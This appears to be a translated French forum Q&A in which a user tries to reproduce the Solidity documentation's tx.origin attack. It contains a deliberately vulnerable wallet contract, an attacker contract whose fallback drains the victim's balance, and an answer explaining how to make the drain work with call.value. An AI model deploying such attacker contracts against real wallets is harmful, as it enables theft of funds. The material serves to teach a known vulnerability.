Impossible de répliquer l’attaque tx.origin

Rushabh RajeshKumar Padalia

Impossible de répliquer l’attaque tx.origin


Je lisais les documents de solidité et j’ai décidé de répliquer l’ attaque tx.origin . J’ai copié le contrat de la documentation mais je me retrouve avec une erreur lors de l’utilisation de la fonction « transferTo ». Vérifiez la capture d’écran du remix ci-dessous pour les détails de l’erreur.

Retrouvez mon contrat ci-dessous.

 // THIS CONTRACT CONTAINS A BUG - DO NOT USE contract TxUserWallet   { address owner ; 

     function   TxUserWallet ()  payable public    { owner =  msg . sender ; 
     } 

     function  transferTo ( address dest ,  uint256 amount )  payable public   { 

         require ( tx . origin ==  owner ); dest . transfer ( amount ); 
     } 

     function  getBalance ()  constant returns ( uint256 ){ 
         return   this . balance ; 
     } 

     function  getOwner ()  constant returns ( address ){ 
        return  owner ; 
     } 
 } 


 interface   TxUserWallet   { 
     function  transferTo ( address dest ,   uint  amount )   public ; 
 } contract TxAttackWallet   { address owner ; 

     function   TxAttackWallet ()  payable public    { owner =  msg . sender ; 
     } 

     function ()  payable public   { 
         TxUserWallet ( msg . sender ). transferTo ( owner ,  msg . sender . balance ); 
     } 

     function  getBalance ()  constant returns ( uint256 ){ 
         return   this . balance ; 
     } 

     function  getOwner ()  constant returns ( address ){ 
        return  owner ; 
     } 


 } 

entrez la description de l'image ici

Réponses


 abb

Ce n’est pas une bonne idée de s’appuyer sur tx.origin pour déterminer si la transaction a été initiée par une partie de confiance ou non. C’est ce chapitre du document Solidity qui vous parle. Le morceau de code vulnérable est require(tx.origin == owner); .

Maintenant, pour exploiter réellement cette faille tx.origin, une attaque de réentrance est tentée, mais échoue car de nos jours dest.transfer(amount); n’envoie que 2300 gaz à la fonction de repli du contrat dest .

Pour observer l’abus du contrôle de sécurité basé sur tx.origin (sans tenir compte du nouveau comportement de transfer () qui rompt l’astuce de réentrance), vous pouvez changer dest.transfer(amount); à dest.call.value(amount)() . Comme ici https://github.com/abbbe/txorigin/blob/master/contracts/TxUserWallet.sol#L14 .

Et, à partir de la capture d’écran, il n’est pas clair si vous déclenchez correctement l’attaque. Vous devez appeler TxUserWallet.transferTo(ADDR_OF_TxAttacWallet, 1) partir du compte propriétaire de TxUserWallet. Cela enverra tous les fonds de TxUserWallet au propriétaire de TxAttackWallet.

 

‘tx.origin’?, #de, impossible, l’attaque, répliquer?

 

yahoo

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *